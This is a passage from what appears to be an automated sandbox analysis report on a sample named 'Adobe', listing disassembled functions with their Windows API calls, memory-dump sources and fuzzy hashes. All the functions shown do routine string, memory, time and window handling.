                                                                                        • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                                                                                        • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                                                                                        • GetStockObject.GDI32(00000000), ref: 004143C6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                        • String ID:
                                                                                        • API String ID: 764393265-0
                                                                                        • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                        • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                                                                                        • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                        • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                                                                                        Function 0040A751 Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A76D
                                                                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 0040A77D
                                                                                        • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 0040A78C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Time$System$File$LocalSpecific
                                                                                        • String ID:
                                                                                        • API String ID: 979780441-0
                                                                                        • Opcode ID: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                        • Instruction ID: f583aad53f3de4022dcae7e9f33737e8013f67213d7447df07319dea818b2b95
                                                                                        • Opcode Fuzzy Hash: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                        • Instruction Fuzzy Hash: 48F08272900219AFEB019BB1DC49FBBB3FCBB0570AF04443AE112E1090D774D0058B65
                                                                                        Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memcpy.MSVCRT(0045A808,?,00000050,?,0040155D,?), ref: 004134E0
                                                                                        • memcpy.MSVCRT(0045A538,?,000002CC,0045A808,?,00000050,?,0040155D,?), ref: 004134F2
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                                                                                        • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$DialogHandleModuleParam
                                                                                        • String ID:
                                                                                        • API String ID: 1386444988-0
                                                                                        • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                        • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                                                                                        • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                        • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                                                                                        Function 0040F75C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • wcschr.MSVCRT ref: 0040F79E
                                                                                        • wcschr.MSVCRT ref: 0040F7AC
                                                                                          • Part of subcall function 0040AA8C: wcslen.MSVCRT ref: 0040AAA8
                                                                                          • Part of subcall function 0040AA8C: memcpy.MSVCRT(00000000,?,00000000,00000000,?,0000002C,?,0040F7F4,?,?,?,?,004032AB,?), ref: 0040AACB
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: wcschr$memcpywcslen
                                                                                        • String ID: "
                                                                                        • API String ID: 1983396471-123907689
                                                                                        • Opcode ID: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                        • Instruction ID: b5ec2b97dc3a1d34b4ae52474db4a85f3d32b900c8044ec90cdce640e07fed14
                                                                                        • Opcode Fuzzy Hash: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                        • Instruction Fuzzy Hash: 7C315532904204ABDF24EFA6C8419EEB7B4EF44324F20457BEC10B75D1DB789A46CE99
                                                                                        Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _snwprintf.MSVCRT ref: 0040A398
                                                                                        • memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _snwprintfmemcpy
                                                                                        • String ID: %2.2X
                                                                                        • API String ID: 2789212964-323797159
                                                                                        • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                        • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                                                                                        • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                        • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                                                                                        Function 0040E758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040E770
                                                                                        • SendMessageW.USER32(F^@,0000105F,00000000,?), ref: 0040E79F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: MessageSendmemset
                                                                                        • String ID: F^@
                                                                                        • API String ID: 568519121-3652327722
                                                                                        • Opcode ID: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                        • Instruction ID: 5049a961280a3e8282645b70ff0f7bf8ff78c54eb6baa8beabb6daf17925e322
                                                                                        • Opcode Fuzzy Hash: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                        • Instruction Fuzzy Hash: A701A239900204ABEB209F5ACC81EABB7F8FF44B45F008429E854A7291D3349855CF79
                                                                                        Function 0040B1D1 Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • wcslen.MSVCRT ref: 0040B1DE
                                                                                        • free.MSVCRT ref: 0040B201
                                                                                          • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                          • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                          • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                        • free.MSVCRT ref: 0040B224
                                                                                        • memcpy.MSVCRT(?,00000000,-00000002,00000000,00000000,?,?,?,?,0040B319,0040B432,00000000,?,?,0040B432,00000000), ref: 0040B248
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free$memcpy$mallocwcslen
                                                                                        • String ID:
                                                                                        • API String ID: 726966127-0
                                                                                        • Opcode ID: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                        • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                                                                                        • Opcode Fuzzy Hash: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                        • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                                                                                        Function 0040B0D1 Relevance: 5.1, APIs: 4, Instructions: 55stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • strlen.MSVCRT ref: 0040B0D8
                                                                                        • free.MSVCRT ref: 0040B0FB
                                                                                          • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                          • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                          • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                        • free.MSVCRT ref: 0040B12C
                                                                                        • memcpy.MSVCRT(?,?,00000000,00000000,0040B35A,?), ref: 0040B159
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free$memcpy$mallocstrlen
                                                                                        • String ID:
                                                                                        • API String ID: 3669619086-0
                                                                                        • Opcode ID: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                        • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                                                                                        • Opcode Fuzzy Hash: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                        • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                                                                                        Function 004173E4 Relevance: 5.0, APIs: 4, Instructions: 41COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                                                                                        • malloc.MSVCRT ref: 00417407
                                                                                        • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                                                                                        • free.MSVCRT ref: 00417425
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$freemalloc
                                                                                        • String ID:
                                                                                        • API String ID: 2605342592-0
                                                                                        • Opcode ID: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                        • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                                                                                        • Opcode Fuzzy Hash: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                        • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5